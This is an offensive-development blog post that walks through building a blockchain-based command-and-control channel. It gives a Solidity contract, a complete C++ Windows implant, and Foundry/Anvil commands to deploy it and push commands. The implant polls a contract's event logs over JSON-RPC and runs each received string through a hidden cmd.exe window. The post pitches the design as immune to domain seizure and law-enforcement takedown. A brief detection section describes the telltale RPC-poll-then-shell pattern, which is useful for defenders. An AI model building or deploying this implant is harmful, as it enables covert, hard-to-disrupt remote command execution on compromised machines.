Blockchain C2 channel
Welcome to this new Medium post, today we are going to explore Blockchain C2, a command and control channel that uses smart contracts deployed on an EVM blockchain to deliver commands to implants,…

Welcome to this new Medium post, today we are going to explore Blockchain C2, a command and control channel that uses smart contracts deployed on an EVM blockchain to deliver commands to implants, making the infrastructure nearly impossible to take down.

Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
Introduction
Before walking through the implementation, you need to understand what a smart contract is, EVM and why this matters from an infrastructure perspective
Smart contracts are programs deployed on a blockchain network. Once deployed, their code is immutable and their address is permanent. No registrar can seize the domain, no hosting provider can pull the server, no law enforcement can send a takedown notice to a blockchain node. The contract simply exists, forever, on a decentralized network
EVM event logs are the mechanism we use for command delivery. When a Solidity function emits an event, that event is written into the transaction receipt and indexed by every node
The JSON RPC interface is the standard way to interact with any EVM node. Both the operator (writing commands) and the implant (reading them) use this interface. The implant polls eth_getLogs periodically, filtering for events emitted by the known contract address (our “server”). The operator calls the contract's push function via a signed transaction, which emits the event
The Solidity contract we use is minimal:
pragma solidity ^0.8.0;
contract C2 {
address public owner;
event Command(string payload);
constructor() {
owner = msg.sender;
}
function push(string calldata payload) external {
require(msg.sender == owner, "not owner");
emit Command(payload);
}
}
Only the deployer wallet can call push. Every call emits a Command event that any listener can read
Methodology
- Deploy the contract
Use Foundry’s forge create to deploy the contract to any EVM network. The deployer wallet becomes the owner
2. Compute the event signature
Run cast sig-event "Command(string)" to get the hash of the event signature. This value is the first topic in every Command event log and is the primary filter for eth_getLogs
3. Implant polls eth_getLogs
On each polling interval, the implant calls eth_blockNumber to get the current chain head, then calls eth_getLogs with a filter for the following things:
- The contract address
- The event signature topic
- The block range since the last processed block
4. Decode and execute
Each log entry returned contains a data field string payload. The implant decodes it and then reading the raw bytes, finally passes the result to CreateProcess via cmd.exe /c. You can use alternatives like _popen
5. Send a command
The operator calls cast send with the contract address and "push(string)" passing the command string, then the implant picks it up on its next poll
cast send 0x5FbDB2315678afecb367f032d93F642f64180aa3 --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 "push(string)" "whoami"
Methodology
All RPC calls go through WinHTTP. We got this helper for all of them:
std::string httpPost(const std::wstring& host, INTERNET_PORT port, const std::wstring& path, const std::string& body) {
std::string response;
HINTERNET session = WinHttpOpen(
L"Mozilla/5.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0
);
if (!session)
return "";
HINTERNET connect = WinHttpConnect(session, host.c_str(), port, 0);
if (!connect) {
WinHttpCloseHandle(session);
return "";
}
HINTERNET request = WinHttpOpenRequest(
connect, L"POST", path.c_str(),
nullptr, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, 0
);
if (!request) {
WinHttpCloseHandle(connect);
WinHttpCloseHandle(session);
return "";
}
std::wstring headers = L"Content-Type: application/json";
BOOL sent = WinHttpSendRequest(
request, headers.c_str(), (DWORD)-1,
(LPVOID)body.c_str(), (DWORD)body.size(),
(DWORD)body.size(), 0
);
if (sent)
WinHttpReceiveResponse(request, nullptr);
DWORD bytesAvail = 0;
while (WinHttpQueryDataAvailable(request, &bytesAvail) && bytesAvail > 0) {
std::string chunk(bytesAvail, '\0');
DWORD bytesRead = 0;
WinHttpReadData(request, chunk.data(), bytesAvail, &bytesRead);
response.append(chunk, 0, bytesRead);
}
WinHttpCloseHandle(request);
WinHttpCloseHandle(connect);
WinHttpCloseHandle(session);
return response;
}Also we got helpers for the JSON parsing:
std::string jsonGetString(const std::string& json, const std::string& key) {
std::string needle = "\"" + key + "\":\"";
size_t pos = json.find(needle);
if (pos == std::string::npos)
return "";
pos += needle.size();
size_t end = json.find('"', pos);
if (end == std::string::npos)
return "";
return json.substr(pos, end - pos);
}
std::vector<std::string> jsonGetDataFields(const std::string& json) {
std::vector<std::string> results;
std::string needle = "\"data\":\"";
size_t pos = 0;
while ((pos = json.find(needle, pos)) != std::string::npos) {
pos += needle.size();
size_t end = json.find('"', pos);
if (end == std::string::npos)
break;
results.push_back(json.substr(pos, end - pos));
pos = end + 1;
}
return results;
}And the function to decode the strings (commands) received by the server:
std::string decodeAbiString(const std::string& hexData) {
std::string data = (hexData.size() > 1 && hexData[1] == 'x') ? hexData.substr(2) : hexData;
if (data.size() < 128)
return "";
size_t len = std::stoull(data.substr(64, 64), nullptr, 16);
if (len == 0 || data.size() < 128 + len * 2)
return "";
std::string result;
result.reserve(len);
for (size_t i = 0; i < len; i++) {
unsigned int byte = std::stoul(data.substr(128 + i * 2, 2), nullptr, 16);
result += static_cast<char>(byte);
}
return result;
}Command execution
CreateProcess with a pipe captures stdout and stderr without opening a visible window. CREATE_NO_WINDOW and SW_HIDE keep the child cmd.exe hidden
std::string executeCommand(const std::string& cmd) {
std::string output;
HANDLE stdoutRead = nullptr, stdoutWrite = nullptr;
SECURITY_ATTRIBUTES sa = {};
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
if (!CreatePipe(&stdoutRead, &stdoutWrite, &sa, 0))
return "CreatePipe failed";
SetHandleInformation(stdoutRead, HANDLE_FLAG_INHERIT, 0);
STARTUPINFOA si = {};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdOutput = stdoutWrite;
si.hStdError = stdoutWrite;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = {};
std::string fullCmd = "cmd.exe /c " + cmd;
if (!CreateProcessA(nullptr, fullCmd.data(), nullptr, nullptr,
TRUE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi)) {
CloseHandle(stdoutWrite);
CloseHandle(stdoutRead);
return "CreateProcess failed";
}
CloseHandle(stdoutWrite);
char buf[512];
DWORD bytesRead = 0;
while (ReadFile(stdoutRead, buf, sizeof(buf) - 1, &bytesRead, nullptr) && bytesRead > 0) {
buf[bytesRead] = '\0';
output += buf;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(stdoutRead);
return output;
}Full Code
#include <iostream>
#include <string>
#include <vector>
#include <thread>
#include <chrono>
#include <sstream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")
static const std::wstring RPC_HOST = L"192.168.1.113";
static const INTERNET_PORT RPC_PORT = 8545;
static const std::wstring RPC_PATH = L"/";
static const std::string CONTRACT_ADDR = "0x5FbDB2315678afecb...";
static const std::string EVENT_SIG = "0x11da5878d8be4a09ca92d73...";
static const int POLL_INTERVAL = 2;
std::string httpPost(const std::wstring& host, INTERNET_PORT port, const std::wstring& path, const std::string& body) {
std::string response;
HINTERNET session = WinHttpOpen(
L"Mozilla/5.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0
);
if (!session)
return "";
HINTERNET connect = WinHttpConnect(session, host.c_str(), port, 0);
if (!connect) {
WinHttpCloseHandle(session);
return "";
}
HINTERNET request = WinHttpOpenRequest(
connect,
L"POST",
path.c_str(),
nullptr,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0
);
if (!request) {
WinHttpCloseHandle(connect);
WinHttpCloseHandle(session);
return "";
}
std::wstring headers = L"Content-Type: application/json";
BOOL sent = WinHttpSendRequest(
request,
headers.c_str(),
(DWORD)-1,
(LPVOID)body.c_str(),
(DWORD)body.size(),
(DWORD)body.size(),
0
);
if (sent)
WinHttpReceiveResponse(request, nullptr);
DWORD bytesAvail = 0;
while (WinHttpQueryDataAvailable(request, &bytesAvail) && bytesAvail > 0) {
std::string chunk(bytesAvail, '\0');
DWORD bytesRead = 0;
WinHttpReadData(request, chunk.data(), bytesAvail, &bytesRead);
response.append(chunk, 0, bytesRead);
}
WinHttpCloseHandle(request);
WinHttpCloseHandle(connect);
WinHttpCloseHandle(session);
return response;
}
std::string jsonGetString(const std::string& json, const std::string& key) {
std::string needle = "\"" + key + "\":\"";
size_t pos = json.find(needle);
if (pos == std::string::npos)
return "";
pos += needle.size();
size_t end = json.find('"', pos);
if (end == std::string::npos)
return "";
return json.substr(pos, end - pos);
}
std::vector<std::string> jsonGetDataFields(const std::string& json) {
std::vector<std::string> results;
std::string needle = "\"data\":\"";
size_t pos = 0;
while ((pos = json.find(needle, pos)) != std::string::npos) {
pos += needle.size();
size_t end = json.find('"', pos);
if (end == std::string::npos)
break;
results.push_back(json.substr(pos, end - pos));
pos = end + 1;
}
return results;
}
uint64_t hexToUint64(const std::string& hex) {
if (hex.empty())
return 0;
return std::stoull(hex, nullptr, 16);
}
std::string toHex(uint64_t val) {
std::ostringstream ss;
ss << "0x" << std::hex << val;
return ss.str();
}
std::string buildBlockNumberReq() {
return R"({"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1})";
}
std::string buildGetLogsReq(uint64_t fromBlock, uint64_t toBlock) {
return
R"({"jsonrpc":"2.0","method":"eth_getLogs","params":[{"address":")" +
CONTRACT_ADDR +
R"(","topics":[")" +
EVENT_SIG +
R"("],"fromBlock":")" +
toHex(fromBlock) +
R"(","toBlock":")" +
toHex(toBlock) +
R"("}],"id":1})";
}
uint64_t getLatestBlock() {
std::string raw = httpPost(RPC_HOST, RPC_PORT, RPC_PATH, buildBlockNumberReq());
if (raw.empty())
return 0;
std::string result = jsonGetString(raw, "result");
if (result.empty())
return 0;
return hexToUint64(result);
}
std::string decodeAbiString(const std::string& hexData) {
std::string data = (hexData.size() > 1 && hexData[1] == 'x') ? hexData.substr(2) : hexData;
if (data.size() < 128)
return "";
size_t len = std::stoull(data.substr(64, 64), nullptr, 16);
if (len == 0 || data.size() < 128 + len * 2)
return "";
std::string result;
result.reserve(len);
for (size_t i = 0; i < len; i++) {
unsigned int byte = std::stoul(data.substr(128 + i * 2, 2), nullptr, 16);
result += static_cast<char>(byte);
}
return result;
}
std::string executeCommand(const std::string& cmd) {
std::string output;
HANDLE stdoutRead = nullptr, stdoutWrite = nullptr;
SECURITY_ATTRIBUTES sa = {};
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
if (!CreatePipe(&stdoutRead, &stdoutWrite, &sa, 0))
return "CreatePipe failed";
SetHandleInformation(stdoutRead, HANDLE_FLAG_INHERIT, 0);
STARTUPINFOA si = {};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdOutput = stdoutWrite;
si.hStdError = stdoutWrite;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = {};
std::string fullCmd = "cmd.exe /c " + cmd;
if (!CreateProcessA(nullptr, fullCmd.data(), nullptr, nullptr, TRUE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi)) {
CloseHandle(stdoutWrite);
CloseHandle(stdoutRead);
return "CreateProcess failed";
}
CloseHandle(stdoutWrite);
char buf[512];
DWORD bytesRead = 0;
while (ReadFile(stdoutRead, buf, sizeof(buf) - 1, &bytesRead, nullptr) && bytesRead > 0) {
buf[bytesRead] = '\0';
output += buf;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(stdoutRead);
return output;
}
void processEvents(uint64_t fromBlock, uint64_t toBlock) {
std::string raw = httpPost(RPC_HOST, RPC_PORT, RPC_PATH, buildGetLogsReq(fromBlock, toBlock));
if (raw.empty())
return;
if (raw.find("\"result\":[]") != std::string::npos)
return;
for (auto& dataField : jsonGetDataFields(raw)) {
std::string payload = decodeAbiString(dataField);
if (payload.empty())
continue;
std::cout << "command: " << payload << "\n";
std::cout << executeCommand(payload) << "\n";
}
}
int main() {
uint64_t lastBlock = getLatestBlock();
if (lastBlock == 0) {
std::cerr << "failed to connect\n";
return 1;
}
std::cout << "polling from block " << lastBlock << "\n";
while (true) {
std::this_thread::sleep_for(std::chrono::seconds(POLL_INTERVAL));
uint64_t latest = getLatestBlock();
if (latest == 0 || latest <= lastBlock)
continue;
processEvents(lastBlock + 1, latest);
lastBlock = latest;
}
}
Proof of Concept
Start Anvil with --host 0.0.0.0 so the Windows implant can reach it over the local network:
anvil --host 0.0.0.0
Deploy the contract:
forge create C2.sol:C2 \
--rpc-url http://127.0.0.1:8545 \
--private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 \
--broadcast
Run the compiled implant on Windows. Then send a command from Linux (or your host):
cast send 0x5FbDB2315678afecb367f032d93F642f64180aa3 \
--rpc-url http://127.0.0.1:8545 \
--private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 \
"push(string)" "whoami"
Output:
polling from block 1
command: whoami
maldev\s12de

Detection
The implant’s network traffic is indistinguishable from any web application. It makes periodic HTTPS POST requests to an RPC endpoint with JSON bodies like blockchain monitoring service.
What is detectable is the combination: a process with no legitimate web purpose making repeated eth_getLogs calls to a fixed contract address, followed shortly by CreateProcess spawning cmd.exe.
That behavioral chain: RPC poll and then shell execution is the signature
Conclusions
Blockchain C2 trades latency and cost for persistence. No domain to seize, server to take down, or registrar to deal with. The idea isn’t new. Glupteba used Bitcoin transactions for C2 domain updates, while WIRTE encoded IPs in transaction values
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.